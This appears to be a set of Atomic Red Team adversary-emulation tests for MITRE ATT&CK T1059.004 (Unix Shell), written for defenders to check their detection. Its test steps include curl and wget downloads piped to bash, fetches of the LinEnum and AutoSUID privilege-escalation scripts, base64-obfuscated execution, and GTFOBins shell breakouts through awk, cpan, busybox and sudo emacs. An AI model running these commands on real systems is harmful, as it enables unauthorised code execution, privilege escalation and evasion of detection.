Unix Shell T1059.004

Creates and executes a simple sh script.

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

rm #{script_path}

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in /tmp/art-fish.txt.

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

rm /tmp/art-fish.txt

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

chmod +x #{autosuid}
bash #{autosuid}

rm -rf #{autosuid}

if [ -f #{autosuid} ]; then exit 0; else exit 1; fi;

curl --create-dirs #{autosuid_url} --output #{autosuid}

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

chmod +x #{linenum}
bash #{linenum}

rm -rf #{linenum}

if [ -f #{linenum} ]; then exit 0; else exit 1; fi;

curl --create-dirs #{linenum_url} --output #{linenum}

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

rm $TMPFILE
unset TMPFILE

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

cat /etc/shells 

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

[ "$(uname)" = 'FreeBSD' ] && rmuser -y art || userdel art

if [ -f /usr/bin/chsh ]; then echo "exit 0"; else echo "exit 1"; exit 1; fi

echo "Automated installer not implemented yet, please install chsh manually"

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

unset ART

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command.

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      

rm /tmp/art.txt

if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi

which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

uname -srm

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

awk 'BEGIN {system("/bin/sh &")}'

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/busybox/

busybox sh &

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

if [ -x "$(command -v emacs)" ]; then echo "emacs is installed"; else echo "emacs is NOT installed"; exit 1; fi

which apt && apt update && apt install -y emacs || which pkg && pkg update && pkg install -y emacs || which brew && brew update && brew install --quiet emacs